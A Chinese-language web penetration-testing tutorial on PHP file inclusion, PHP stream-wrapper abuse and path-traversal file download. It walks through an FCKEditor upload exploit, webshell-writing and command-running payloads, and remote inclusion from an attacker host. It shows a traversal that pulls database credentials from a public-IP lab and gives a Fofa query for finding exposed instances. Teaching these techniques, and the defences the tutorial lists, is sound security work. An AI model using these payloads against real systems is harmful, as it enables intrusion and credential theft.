从编辑器漏洞到伪协议实战,一文吃透 Web 渗透核心漏洞
在 Web 渗透测试的知识体系中,文件包含与文件下载读取漏洞是入门阶段必须掌握的核心技能。很多时候,我们费尽心思上传的图片木马,最终都需要依靠文件包含漏洞来触发执行;而文件下载漏洞则可以让我们直接拿到服务器的敏感配置文件,一步到位获取核心权限。本文将从实战角度出发,系统梳理这两类漏洞的原理、利用方式与绕过技巧,带你从入门到精通掌握这类漏洞的利用方法。
一、课前复盘:图片木马与文件包含的关联
上节课我们学习了图片木马的制作,很多同学可能会有疑问:为什么我们把一句话木马插入到图片里,直接访问图片却无法执行代码?
这是因为图片文件本身不会被 Web 服务器当作 PHP 脚本解析,服务器只会把它当作静态资源返回给浏览器。这时候,文件包含漏洞就成了图片木马的最佳拍档:通过文件包含函数,我们可以让 PHP 把这个图片文件加载进来,并且解析里面的 PHP 代码,从而触发木马执行。
实战中我们可以这样利用:
http://localhost/include/upload.php?filename=file:///E:\AppsGreen\edjpgcom\360.jpg
通过file://伪协议,我们将本地的图片木马文件传入包含函数,PHP 就会解析图片中隐藏的一句话木马,实现代码执行。
二、场景延伸:FCKEditor 编辑器上传漏洞实战
在实际的业务场景中,富文本编辑器是文件上传漏洞的重灾区,其中经典的 FCKEditor 编辑器就曾出现过非常典型的 %00 截断上传漏洞,这个漏洞的利用过程也完美结合了我们今天要讲的文件包含与截断绕过技巧。
漏洞背景
FCKEditor 2.6.4 及更早的 PHP 版本,存在一个由于目录路径检测不严谨导致的任意文件上传漏洞。攻击者可以通过 %00 空字符截断,绕过服务器的后缀检测,上传恶意 PHP 脚本。
注意:该漏洞利用的 %00 截断特性,仅在PHP < 5.3.4版本中有效,高版本 PHP 已经修复了空字符截断的问题,因此这是一个历史经典漏洞,用于帮助我们理解截断绕过的原理。
漏洞利用过程
-
搭建靶场环境:部署旧版本的 FCKEditor 到 Web 目录,修改配置文件开启文件上传功能。
-
利用 EXP 上传木马:我们可以通过专门的 EXP 脚本完成攻击,核心代码如下:
<?php error_reporting(0); // 省略部分初始化代码... $filename = "fvck.gif"; // 关键:利用%00截断,让服务器把目录名识别为fuck.php $foldername = "fuck.php%00.gif"; $connector = "editor/filemanager/connectors/php/connector.php"; // 上传的文件内容:GIF头+一句话木马 $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n"; // 构造POST请求上传文件 $packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n"; // 省略请求头与发送逻辑... ?> -
原理说明 : 服务器在处理
CurrentFolder参数时,由于 C 语言底层的字符串处理逻辑,遇到0x00空字符就会认为字符串已经结束,因此我们传入的fuck.php%00.gif,会被服务器识别为fuck.php。 最终我们上传的fvck.gif文件,就会被保存为userfiles/image/fuck.php,成功生成一句话木马。 -
访问成果:上传完成后,我们就可以访问生成的 PHP 木马,执行任意代码:
http://localhost/userfiles/image/fuck.php POST参数:cmd=phpinfo();
三、核心概念:文件包含漏洞的本质与检测
在开始实战之前,我们需要先搞清楚文件包含漏洞的核心原理。
什么是文件包含漏洞
PHP 提供了include()、require()、include_once()、require_once()这四个文件包含函数,用于在脚本执行期间引入并执行指定文件的代码。如果应用程序没有对用户传入的文件名参数做严格的校验,导致攻击者可以控制这个参数,那么攻击者就可以让服务器加载任意文件,从而实现:
-
执行恶意代码(比如图片木马)
-
读取服务器的敏感文件(比如配置文件、源码)
-
写入 Webshell 控制服务器
本地包含与远程包含的区别
文件包含漏洞分为两类:
-
本地文件包含(LFI):仅能包含服务器本地的文件,不需要特殊的 PHP 配置。
-
远程文件包含(RFI) :可以包含远程服务器上的文件,前提是 PHP 配置中开启了
allow_url_include(PHP5.2 之后默认关闭)。
漏洞检测方法
-
白盒检测:通过代码审计,查看是否有用户可控的参数直接传入了文件包含函数。
-
黑盒检测 :观察请求中的参数,比如
filename、file、path这类和文件相关的参数,尝试传入不同的文件路径,观察响应是否符合预期。
四、本地 & 远程文件包含:从基础到绕过
无限制本地包含
最基础的文件包含场景,就是后端代码没有任何过滤,直接把用户的参数传入包含函数:
<?php
$filename=$_GET['filename'];
include ( $filename);
?>
这种情况下,我们只需要传入要包含的文件名即可,比如我们有一个1.txt文件,里面写了<?php phpinfo(); ?>,那么访问:
http://127.0.0.1/include/upload.php?filename=1.txt
PHP 就会把1.txt的内容当作 PHP 代码执行,直接输出 phpinfo 的信息。
有限制本地包含与绕过
很多时候,后端会做一些简单的防护,比如自动给文件名加后缀,防止用户包含任意文件:
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
这种情况下,我们传入1.txt的话,实际包含的文件是1.txt.html,无法直接利用,这时候我们就需要用到截断绕过的技巧。
1. %00 空字符截断
这是最经典的绕过方法,和我们之前 FCKEditor 漏洞的原理一样,我们在文件名后面加上%00,就可以让服务器截断后面的.html后缀:
http://127.0.0.1/include/upload2.php?filename=1.txt%00
服务器处理后,实际包含的文件就是1.txt,成功绕过了后缀限制。
注意:同样,这个方法仅在 PHP < 5.3.4 版本有效。
2. 长度截断
针对高版本 PHP,我们还可以利用文件系统的文件名长度限制来绕过:
-
Windows 系统的文件名最长支持 255 个字符
-
Linux 系统的文件名最长支持 4096 个字符
我们可以构造一个超长的文件名,比如在1.txt后面加大量的点,超过系统的文件名长度限制,这样后面的.html后缀就会被系统自动截断,从而实现绕过:
http://127.0.0.1/include/upload2.php?filename=1.txt...........................................................................
远程文件包含与绕过
当服务器开启了allow_url_include之后,我们就可以使用远程文件包含,直接加载远程服务器上的恶意文件。
无限制远程包含
我们在自己的服务器上放一个1.txt,内容是<?php phpinfo(); ?>,然后直接把这个 URL 传给包含函数:
http://127.0.0.1/include/upload.php?filename=http://192.168.220.137/1.txt
服务器就会下载这个远程文件,并且执行里面的 PHP 代码。
有限制远程包含与绕过
同样,如果后端加了.html后缀,我们也有对应的绕过方法:
-
文件名绕过 :直接把远程文件的名字改成
1.txt.html,这样拼接之后刚好匹配。 -
#锚点截断 :利用 URL 的锚点特性,
#后面的内容不会传给后端,我们可以用 URL 编码的%23来截断: http://localhost/include/upload2.php?filename=http://192.168.220.137/1.txt%23 -
? 参数截断 :利用 URL 的参数分隔符,
?后面的内容会被当作查询参数,不影响文件的访问: http://localhost/include/upload2.php?filename=http://192.168.220.137/1.txt?后端拼接后变成
http://xxx/1.txt?.html,服务器访问远程文件时,只会识别1.txt,后面的内容会被忽略。
五、进阶攻坚:PHP 伪协议实战技巧
PHP 伪协议是文件包含漏洞中最强大的利用方式,通过这些内置的流封装协议,我们可以实现读取源码、执行任意代码、写 Shell 等各种操作,是渗透测试中的必备技能。
首先我们先梳理一下常用伪协议的配置要求,避免大家在复现的时候遇到问题:
| 伪协议 | allow_url_fopen | allow_url_include | 核心作用 |
|---|---|---|---|
file:// |
无要求 | 无要求 | 读取本地任意文件 |
php://filter |
需要开启 | 无要求 | 读取文件源码,Base64 编码输出 |
php://input |
无要求 | 需要开启 | 执行 POST 请求中的任意代码 |
data:// |
需要开启 | 需要开启 | 直接在 URL 中执行任意代码 |
http:// |
需要开启 | 需要开启 | 远程文件包含 |
1. file://:读取本地文件
file://协议用于访问本地文件系统,而且它不受任何 PHP 配置的限制,哪怕两个远程访问的配置都关闭,它依然可以使用。
最常见的用法就是读取服务器的敏感文件,比如 Windows 的 hosts 文件:
http://localhost/include/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts
通过这个请求,我们就可以直接拿到服务器的 hosts 文件内容,查看服务器的域名解析配置。
2. php://filter:读取文件源码
这是最常用的伪协议之一,当我们想要拿到网站的源码,但是直接包含 PHP 文件的话,服务器会直接执行它,我们看不到源码,这时候就可以用filter协议把文件内容 Base64 编码之后输出,这样我们就能拿到源码了。
用法非常简单:
http://localhost/include/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php
-
resource=upload.php:指定我们要读取的文件 -
read=convert.base64-encode:指定读过滤器,把文件内容做 Base64 编码
访问之后,我们会得到一段 Base64 编码的字符串,解码之后就是upload.php的完整源码,这在代码审计、CTF 比赛中非常常用。
比如在南邮 CTF 的题目中,就可以用这个方法读取 index.php 的源码,从而拿到 flag:
https://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
3. php://input:执行任意 POST 代码
php://input可以访问请求的原始 POST 数据,我们可以把任意 PHP 代码写在 POST 请求体里,服务器就会把它当作 PHP 代码执行,非常灵活。
用法: 首先访问包含的地址:
http://127.0.0.1/include.php?file=php://input
然后在 POST 数据里写入我们要执行的代码:
<?php phpinfo(); ?>
这样服务器就会直接执行这段代码,输出 phpinfo 的信息。
我们还可以用它做更多的操作:
-
执行系统命令:
POST数据:<?php system('ipconfig'); ?> -
写入一句话木马:
POST数据:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>执行之后,就会在当前目录生成一个
shell.php的一句话木马,之后我们就可以用菜刀或者蚁剑连接了。
4. data://:直接在 URL 中执行代码
data://协议可以让我们直接把数据写在 URL 里,不需要 POST 请求,直接 GET 请求就可以执行任意代码,非常方便。
它有两种用法:
-
明文方式:
http://localhost/include/upload.php?filename=data://text/plain,<?php phpinfo();?> -
Base64 编码方式(避免特殊字符被过滤):
http://localhost/include/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+其中
PD9waHAgcGhwaW5mbygpOz8+就是<?php phpinfo();?>的 Base64 编码。
六、漏洞深挖:文件下载 / 读取漏洞全解析
除了文件包含,文件下载 / 读取漏洞也是非常常见的一类漏洞,它的原理比文件包含更简单,但是危害同样巨大。
漏洞原理
应用程序提供了文件下载的功能,用户通过filename参数指定要下载的文件,但是后端没有对用户的输入做任何过滤,直接把用户传入的文件名拼接到下载路径中。这时候攻击者就可以通过../进行目录遍历,跳出当前的下载目录,下载服务器上的任意敏感文件。
Pikachu 靶场实战案例
我们以经典的 Pikachu 靶场的不安全文件下载模块为例,来看看实际的利用过程:
-
正常的下载地址是这样的,用来下载球员的图片:
http://39.102.211.124:8085/vul/unsafedownload/execdownload.php?filename=kb.png -
我们尝试修改
filename参数,用../跳出当前目录,尝试下载 Pikachu 的配置文件: http://39.102.211.124:8085/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php -
访问之后,我们就成功下载到了 Pikachu 的数据库配置文件,里面包含了数据库的账号密码,直接拿到了服务器的核心权限。
如何寻找这类漏洞
我们可以通过 Fofa 这类搜索引擎,快速找到存在这类漏洞的公开靶场,比如用这个搜索语句:
"pikachu" && country="CN" && title="Get the pikachu"
就可以找到国内公开的 Pikachu 靶场,用来练习文件下载漏洞的利用。
七、漏洞防御与课后作业
漏洞防御方案
针对这两类漏洞,我们可以通过以下方式进行防护:
-
文件包含漏洞防御
-
严格过滤用户输入,使用白名单机制限制可包含的文件,不要使用黑名单。
-
关闭危险的 PHP 配置:
allow_url_include,PHP5.2 之后默认就是关闭的,不要手动开启。 -
开启
open_basedir,限制 PHP 只能访问指定的目录,防止读取系统敏感文件。 -
避免将用户可控的参数直接传入文件包含函数,尽量使用固定路径。
-
-
文件下载漏洞防御
-
过滤用户输入的
../、..\这类目录遍历字符,防止目录穿越。 -
限制下载目录,将所有可下载的文件放在统一的目录,使用 ID 映射文件名,不让用户直接传入文件名。
-
对下载的文件做权限校验,确保用户只能下载自己有权限的文件。
-
课后作业
本次课程的作业是:在本地环境中,复现filter、input、data三种伪协议的实战案例,达成和课堂案例一致的效果。
提示:复现时注意 PHP 的版本与配置,
input和data协议需要开启allow_url_include配置。
总结
文件包含与文件下载漏洞是 Web 渗透中非常基础但又极其重要的漏洞,它们不仅可以单独利用,还经常和文件上传、XXE 等漏洞配合,实现更深层次的攻击。掌握这些基础的利用与绕过技巧,是我们进阶到更高级渗透测试的必经之路。希望通过本文的梳理,能够帮助大家彻底吃透这类漏洞,在实战中灵活运用。